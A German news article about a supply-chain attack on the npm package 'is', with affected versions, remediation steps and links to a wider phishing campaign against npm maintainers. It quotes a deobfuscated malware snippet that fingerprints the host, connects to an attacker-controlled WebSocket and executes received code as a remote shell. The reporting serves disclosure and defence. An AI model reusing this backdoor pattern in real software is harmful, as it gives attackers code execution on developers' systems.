Beliebtes JavaScript-Paket is: Malware durch Supply-Chain-Angriff

Ein Software-Supply-Chain-Angriff hat das beliebte JavaScript-Paket is getroffen, das es auf knapp 2,7 Millionen Downloads pro Woche bringt.

Der Maintainer Jordan Harband schreibt auf Bluesky, dass Angreifer den Account eines anderen Projektverantwortlichen übernommen hatten. Betroffen sind die Versionen 3.3.1 und 5.0.0 des Pakets.

Beide Versionen waren offenbar nur wenige Stunden im Umlauf. Inzwischen ist auf der npm-Seite die Version 3.3.2 verfügbar, die keinen Schadcode erhält. Als Übergang hatte Harband die neueren Releases für deprecated erklärt und 3.3.0 als letzte aktive Version markiert, damit Prozesse, die automatisch die jüngste Version eines JavaScript-Pakets von npm anfordern, nicht weiter den Schadcode herunterladen.

Bei is handelt es sich um eine Testing-Library, die unter anderem überprüft, ob ein Wert definiert (is.defined), leer (is.empty) oder von einem bestimmten Typ (generell über is.type(value, type) oder speziell als is.integer, is.bool, is.array etc.) ist.

heise-Konferenz für Web Developer

Neun von zehn Webanwendungen haben Sicherheitslücken – höchste Zeit für Web Developer, zu handeln. Auf dem ersten enterJS Web Security Day am 9. Oktober 2025 geht es um automatisierte Sicherheitsprüfungen, den Einsatz von Passkeys und den Schutz vor KI-basierten Angriffen.

Plattformübergreifender Malware-Loader an Bord

Offenbar war dieselbe Angreifergruppe erfolgreich, die mit einer Phishing-Attacke zuvor zahlreiche npm-Maintainer getroffen und bereits die Pakete eslint‑config‑prettier, eslint‑plugin‑prettier, synckit@0.11.9, @pkgr/core, napi‑postinstall und got-fetch mit Schadcode versehen hatte.

Der Angriff auf die anderen Pakete zielte mit einer DLL nur auf Windows. Ein Blogartikel auf Invoke RE beschreibt die in dem Paket eslint‑config‑prettier gefundene Scavenger-Malware genauer.

Der Malware-Loader im is-Paket schlägt dagegen plattformübergreifend unter Windows, macOS und Linux zu.

Versteckter Schadcode mit Remote Shell

Ein Blogbeitrag des Security-Softwareunternehmens Socket beschreibt die Arbeitsweise des verschleierten JavaScript-Codes. Der Loader erstellt die Payload demnach vollständig im Speicher des betroffenen Systems und legt den dekodierten Schadcode mittels new Function() als eigene Funktion an.

Diese Funktion fragt schließlich zahlreiche Details wie den Hostnamen, das Betriebssystem, Details zur CPU und Umgebungsvariablen von process.env ab. Schließlich nutzt sie die Library ws, um eine WebSocket-Verbindung aufzubauen und die Daten zu übertragen.

Das Security-Team von Socket hat den entschleierten Schadcode mit Kommentaren versehen, die die Funktionen beschreiben:

// Expose Node's `require`, even in restricted contexts (e.g., Electron)
get "switch"() { return require; }

// Load system and networking modules dynamically
const os = this["switch"]("os");
const WS = this["switch"]("ws");

// Connect to threat actor-controlled WebSocket endpoint
const sock = new WS("wss://<decoded-at-runtime-endpoint>");

// Send host fingerprinting data on connect
sock.onopen = () => sock.send(JSON.stringify({
  host: os.hostname(),
  plat: os.platform(),
  cwd : process.cwd()
}));

// Execute threat actor-supplied code received over the socket
sock.onmessage = ({ data }) => {
  new Function(data)();  // remote code execution
};

Im letzten Abschnitt ist erkennbar, dass der Schadcode mit der WebSocket-Verbindung eine Remote Shell aufbaut: Er führt den empfangenen JavaScript-Code direkt über new Function() aus. Der aufgerufene Code hat dieselben Rechte wie der Host-Prozess, sodass er üblicherweise direkten Zugriff aufs Dateisystem und den Netzwerkverkehr hat.

Wer die Library einbindet, sollte sicherstellen, dass keine der infizierten Varianten auf den Rechner gelangt sind. Es ist zudem davon auszugehen, dass die Angreifergruppe weitere JavaScript-Maintainer im Fokus hatte oder hat.

(rme)